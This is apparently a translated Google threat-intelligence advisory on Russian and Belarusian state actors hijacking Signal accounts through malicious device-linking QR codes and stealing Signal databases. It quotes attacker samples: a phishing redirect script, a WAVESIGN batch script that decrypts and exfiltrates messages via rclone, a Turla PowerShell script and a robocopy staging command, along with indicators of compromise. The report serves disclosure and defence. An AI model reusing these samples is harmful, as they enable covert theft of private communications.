多个与俄罗斯结盟的APT组织瞄准 Signal Messenger开展网络攻击

Google 威胁情报小组 (GTIG) 发现,一些与俄罗斯政府结盟的威胁行为者正不断努力入侵俄罗斯情报部门感兴趣的个人使用的 Signal Messenger 账户。虽然这种新兴的行动兴趣可能是由俄罗斯再次入侵乌克兰的背景下,在战时获取敏感政府和军事通信的需求引发的,但我们预计,针对 Signal 的策略和方法将在短期内变得更加普遍,并扩展到乌克兰战区以外的其他威胁行为者和地区。
Signal 在监视和间谍活动的常见目标中很受欢迎,例如军事人员、政客、记者、活动家和其他高危群体,这使得这款安全消息应用程序成为对手的高价值目标,他们试图拦截敏感信息,以满足一系列不同的情报要求。更广泛地说,这种威胁还延伸到 WhatsApp 和 Telegram 等其他流行的消息应用程序,这些应用程序也正被俄罗斯支持的威胁组织使用类似技术积极瞄准。为了预防其他威胁行为者更广泛地采用类似的间谍技术,我们发布了关于迄今为止使用的策略和方法的公开警告,以帮助提高公众意识,并帮助社区更好地保护自己免受类似威胁。
我们感谢 Signal 团队在调查此活动过程中与我们密切合作。Android 和 iOS 上的最新 Signal 版本包含强化功能,旨在帮助防范未来类似的网络钓鱼活动。请更新到最新版本以启用这些功能。
滥用 Signal 的“链接设备”功能的网络钓鱼活动
俄罗斯企图入侵 Signal 账户所采用的最新颖和最广泛使用的技术是滥用该应用程序的合法“链接设备”功能,该功能允许 Signal 同时在多个设备上使用。由于链接其他设备通常需要扫描快速响应 (QR) 码,因此威胁行为者已诉诸制作恶意 QR 码,扫描后会将受害者的账户链接到行为者控制的 Signal 实例。如果成功,未来的消息将实时同步传递给受害者和威胁行为者,从而提供一种持久的方法来窃听受害者的安全对话,而无需对整个设备进行入侵。
- 在迄今为止观察到的远程网络钓鱼操作中,恶意二维码经常被伪装成合法的 Signal 资源,例如群组邀请、安全警报或来自 Signal 网站的合法设备配对说明。
- 在更有针对性的远程网络钓鱼操作中,恶意设备链接二维码被嵌入到钓鱼页面中,这些钓鱼页面被设计成看起来像乌克兰军方使用的专用应用程序。
- 除了远程网络钓鱼和恶意软件传播操作外,我们还发现恶意二维码被用于近距离访问操作。APT44 (又名 Sandworm 或 Seashell Blizzard,多个政府将威胁行为者归咎于俄罗斯联邦武装力量总参谋部(GU)总局下属的主要特殊技术中心 (GTsST),通常称为 GRU)致力于使前沿部署的俄罗斯军队能够将战场上捕获的设备上的信号账户链接到行为者控制的基础设施,以进行后续利用。
值得注意的是,由于缺乏可用于监控通过新链接设备进行的帐户泄露的集中式、技术驱动的检测和防御,这种设备链接操作概念已被证明是一种低签名的初始访问形式;一旦成功,泄露很有可能在很长一段时间内不会被注意到。
UNC5792:修改后的信号组邀请
为了利用设备链接功能入侵 Signal 账户,一个被追踪为 UNC5792 的疑似俄罗斯间谍集团(与 CERT-UA 的UAC-0195部分重叠)修改了合法的“群组邀请”页面,以便在网络钓鱼活动中投放,将预期的重定向到 Signal 组替换为重定向到恶意 URL,该恶意 URL 旨在将行为者控制的设备链接到受害者的 Signal 账户。
- 在这些行动中,UNC5792 在参与者控制的基础设施上托管了修改后的 Signal 组邀请,旨在使其看起来与合法的 Signal 组邀请完全相同。
- 在每个虚假的群组邀请中,通常将用户重定向到加入 Signal 群组的 JavaScript 代码已被包含 Signal 用于将新设备链接到 Signal 的统一资源标识符 (URI) 的恶意块所取代(即“sgnl://linkdevice?uuid=”),诱骗受害者将他们的 Signal 帐户链接到由 UNC5792 控制的设备。
图 1:在 UNC5792 控制的域“signal-groups[.]tech”上托管的修改后的信号组邀请示例
function doRedirect() {
if (window.location.hash) {
var redirect = "sgnl://signal.group/" + window.location.hash
document.getElementById('go-to-group').href = redirect
window.location = redirect
} else {
document.getElementById('join-button').innerHTML = "No group found."
window.onload = doRedirect
图 2:重定向到 Signal 群组的典型合法群组邀请代码
function doRedirect() {
var redirect = 'sgnl://linkdevice
uuid=h_8WKmzwam_jtUeoD_NQyg%3D%3D
pub_key=Ba0212mHrGIy4t%2FzCCkKkRKwiS0osyeLF4j1v8DKn%2Fg%2B'
//redirect=encodeURIComponent(redirect)
document.getElementById('go-to-group').href = redirect
window.location = redirect
window.onload = doRedirect
图 3:UNC5792 修改后的重定向代码示例,用于将受害者的设备链接到参与者控制的 Signal 实例
UNC4221:定制开发的信号网络钓鱼工具包
UNC4221(CERT-UA 跟踪编号为UAC-0185)是另一个与俄罗斯有关的威胁行为者,其积极针对乌克兰军事人员使用的 Signal 帐户。该组织运营着一个定制的 Signal 网络钓鱼工具包,旨在模仿乌克兰武装部队用于炮兵制导的Kropyva应用程序的组件。与 UNC5792 使用的社会工程方法类似,UNC4221 还试图将其设备链接功能伪装成来自受信任联系人的 Signal 群组邀请。人们已经观察到此网络钓鱼工具包的不同变体,包括:
- 网络钓鱼网站将受害者重定向到伪装成 Signal 提供的合法设备链接指令的二级网络钓鱼基础设施(图 4)
- 将恶意设备链接二维码直接嵌入到主要 Kropyva 主题钓鱼工具包中的钓鱼网站(图 5)
- 在 2022 年的早期行动中,UNC4221 网络钓鱼页面被精心设计,看起来像是来自 Signal 的合法安全警报(图 6)
图 4:托管在 UNC4221 控制域“signal-confirm[.]site”上的恶意设备链接二维码
图 5:UNC4221 钓鱼页面模仿托管在“teneta.add-group[.]site”上的 Kropyva 网络组件。该页面邀请用户“登录 Signal”(乌克兰语:“Авторизуватись у Signal”),然后会显示一个链接到 UNC4221 控制的 Signal 实例的二维码。
图 6:钓鱼页面被设计成 Signal 安全警报,托管在 UNC4221 控制的域 signal-protect[.]host 上
值得注意的是,作为其 Signal 定位的核心组件,UNC4221 还使用了一个轻量级 JavaScript 有效载荷(被跟踪为 PINPOINT)来使用浏览器的 GeoLocation API 收集基本用户信息和地理位置数据。总体而言,我们预计安全消息和位置数据将在未来此类行动中频繁成为联合目标,特别是在有针对性的监视行动或对常规军事行动的支持下。
俄罗斯和白俄罗斯加大力度窃取 Signal 信息
除了有针对性地将其他受威胁行为者控制的设备链接到受害者的 Signal 帐户之外,还观察到多个已知和已建立的区域威胁行为者的操作能力,旨在从 Android 和 Windows 设备窃取 Signal 数据库文件。
- 据观察,APT44 正在操作轻量级 Windows 批处理脚本 WAVESIGN,定期从受害者的 Signal 数据库查询 Signal 消息,并使用 Rclone 窃取最新的消息(图 7)。
- 据乌克兰安全局(SSU) 和英国国家网络安全中心(NCSC) 于 2023 年报告,被追踪为 Infamous Chisel 的 Android 恶意软件被相关组织归因于 Sandworm,旨在递归搜索文件扩展名列表,其中包括 Android 设备上一系列消息应用程序(包括 Signal)的本地数据库。
- Turla 是俄罗斯威胁行为者,美国和英国认为其隶属于俄罗斯联邦安全局 (FSB) 第 16 中心,该组织还在入侵后的环境中运行轻量级 PowerShell 脚本,以准备 Signal Desktop 消息进行泄露(图 8)。
- 除了俄罗斯以外,与白俄罗斯有关的 UNC1151 还使用命令行实用程序 Robocopy 来存储 Signal Desktop 用于存储消息和附件的文件目录内容,以供日后泄露(图 9)。
if %proflag%==1 (
C:\ProgramData\Signal\Storage\sqlcipher.exe %new% "PRAGMA key=""x'%key%'"";" ".recover" > NUL
copy /y %new% C:\ProgramData\Signal\Storage\Signal\sqlorig\db.sqlite
C:\ProgramData\Signal\Storage\rc.exe copy -P -I --log-file=C:\ProgramData\Signal\Storage\rclog.txt --log-level INFO C:\ProgramData\Signal\Storage\Signal\sqlorig si:SignalFresh/sqlorig
del C:\ProgramData\Signal\Storage\Signal\log*
rmdir /s /q C:\ProgramData\Signal\Storage\sql
move C:\ProgramData\Signal\Storage\Signal\sql C:\ProgramData\Signal\Storage\sql
) ELSE (
C:\ProgramData\Signal\Storage\sqlcipher.exe %old% "PRAGMA key=""x'%key%'"";" ".recover" > NUL
C:\ProgramData\Signal\Storage\sqlcipher.exe %old% "PRAGMA key=""x'%key%'"";select count(*) from sqlite_master;ATTACH DATABASE '%old_dec%' AS plaintext KEY '';SELECT sqlcipher_export('plaintext');DETACH DATABASE plaintext;"
C:\ProgramData\Signal\Storage\sqlcipher.exe %new% "PRAGMA key=""x'%key%'"";" ".recover" > NUL
C:\ProgramData\Signal\Storage\sqlcipher.exe %new% "PRAGMA key=""x'%key%'"";select count(*) from sqlite_master;ATTACH DATABASE '%new_dec%' AS plaintext KEY '';SELECT sqlcipher_export('plaintext');DETACH DATABASE plaintext;"
C:\ProgramData\Signal\Storage\sqldiff.exe --primarykey --vtab %old_dec% %new_dec% > %diff_name%
del /s %old_dec% %new_dec%
rmdir /s /q C:\ProgramData\Signal\Storage\sql
move C:\ProgramData\Signal\Storage\Signal\sql C:\ProgramData\Signal\Storage\sql
powershell -Command "move C:\ProgramData\Signal\Storage\log.tmp C:\ProgramData\Signal\Storage\Signal\log$(Get-Date -f """ddMMyyyyHHmmss""").tmp"
)
图 7:APT44 用于窃取 Signal 信息的 WAVESIGN 代码片段
$TempPath = $env:tmp
$TempPath = $env:temp
$ComputerName = $env:computername
$DFSRoot = "\\redacted"
$RRoot = $DFSRoot + "resource\"
$frand = Get-Random -Minimum 1 -Maximum 10000
Get-ChildItem "C:\Users\..\AppData\Roaming\SIGNAL\config.json" | Out-File $treslocal -Append
Get-ChildItem "C:\Users\..\AppData\Roaming\SIGNAL\sql\db.sqlite" | Out-File $treslocal -Append
Get-ChildItem "C:\Users\..\AppData\Roaming\SIGNAL\config.json" | Out-File $treslocal -Append
Get-ChildItem "C:\Users\..\AppData\Roaming\SIGNAL\sql\db.sqlite" | Out-File $treslocal -Append
$file1 = $ComputerName + "_" + $frand + "sig.zip"
$zipfile = $TempPath + "\" + $file1
$resfile = $RRoot + $file1
Compress-Archive -Path "C:\Users\..\AppData\Roaming\SIGNAL\config.json" -DestinationPath $zipfile
Copy-Item -Path $zipfile -Destination $resfile -Force
Remove-Item -Path $zipfile -Force
图 8:Turla 用于窃取 Signal 消息的 PowerShell 脚本
C:\Windows\system32\cmd.exe /C cd %appdata% && robocopy
"%userprofile%\AppData\Roaming\Signal" C:\Users\Public\data\signa /S
图 9:UNC1151 使用 Robocopy 命令来准备 Signal 文件目录以进行泄露
展望与启示
近几个月来,多个威胁行为者对 Signal 的行动重点关注,这为安全消息传递应用程序面临的日益严重的威胁敲响了警钟,这种威胁在短期内肯定会加剧。如果将威胁形势中的其他趋势放在更广泛的背景下,例如商业间谍软件行业的增长和活跃冲突地区使用的移动恶意软件变种的激增,人们似乎对攻击性网络能力的需求明显且不断增长,这些能力可用于监控依赖安全消息传递应用程序来保护其在线活动的个人的敏感通信。
从入侵 Signal 账户的广泛行动可以看出,这种对安全消息应用程序的威胁不仅限于远程网络操作(例如网络钓鱼和恶意软件传播),还至关重要地包括近距离访问操作,威胁行为者可以短暂访问目标的未锁定设备。同样重要的是,这种威胁不仅限于 Signal,还扩展到其他广泛使用的消息平台,包括 WhatsApp 和 Telegram,这些平台同样是近几个月来上述几个与俄罗斯结盟的团体的攻击重点。有关这种更广泛攻击兴趣的示例,请参阅 Microsoft Threat Intelligence最近关于 COLDRIVER(又名 UNC4057 和 Star Blizzard)活动的博客文章,该活动试图滥用链接设备功能来入侵 WhatsApp 账户。
Indicators of Compromise
To assist organizations hunting and identifying activity outlined in this blog post, we have included indicators of compromise (IOCs) in a GTI Collection for registered users.
See Table 1 for a sample of relevant indicators of compromise.
Actor | Indicator of Compromise | Context |
UNC5792 | e078778b62796bab2d7ab2b04d6b01bf | Example of altered group invite HTML code |
add-signal-group[.]com<br><br>add-signal-groups[.]com<br><br>group-signal[.]com<br><br>groups-signal[.]site<br><br>signal-device-off[.]online<br><br>signal-group-add[.]com<br><br>signal-group[.]site<br><br>signal-group[.]tech<br><br>signal-groups-add[.]com<br><br>signal-groups[.]site<br><br>signal-groups[.]tech<br><br>signal-security[.]online<br><br>signal-security[.]site<br><br>signalgroup[.]site<br><br>signals-group[.]com | Fake group invite phishing pages | |
UNC4221 | signal-confirm[.]site<br><br>confirm-signal[.]site | Device-linking instructions phishing page |
signal-protect[.]host | Fake Signal security alert | |
teneta.join-group[.]online<br><br>teneta.add-group[.]site<br><br>group-teneta[.]online<br><br>helperanalytics[.]ru<br><br>group-teneta[.]online<br><br>teneta[.]group<br><br>group.kropyva[.]site | Fake Kropyva group invites | |
APT44 | 150.107.31[.]194:18000 | Dynamically generated device-linking QR code provisioned by APT44 |
a97a28276e4f88134561d938f60db495<br><br>b379d8f583112cad3cf60f95ab3a67fd<br><br>b27ff24870d93d651ee1d8e06276fa98 | WAVESIGN batch scripts |
Table 1: Relevant indicators of compromise
See Table 2 for a summary of the different actors, tactics, and techniques used by Russia and Belarus state-aligned threat actors to target Signal messages.
Threat Actor | Tactic | Technique |
UNC5792 | Linked device | Remote phishing operations using fake group invites to pair a victim's Signal messages to an actor-controlled device |
UNC4221 | Linked device | Remote phishing operations using fake military web applications and security alerts to pair a victim's Signal messages to an actor-controlled device |
APT44 | Linked device | Close-access physical device exploitation to pair a victim's Signal messages to an actor-controlled device |
Signal Android database theft | Android malware (Infamous Chisel) tailored to exfiltrate Signal database files | |
Signal Desktop database theft | Windows Batch script tailored to periodically exfiltrate recent Signal messages via Rclone | |
Turla | Signal Desktop database theft | Post-compromise activity in Windows environments |
UNC1151 | Signal Desktop database theft | Use of Robocopy to stage Signal Desktop file directories for exfiltration |
Table 2: Summary of observed threat activity targeting Signal messages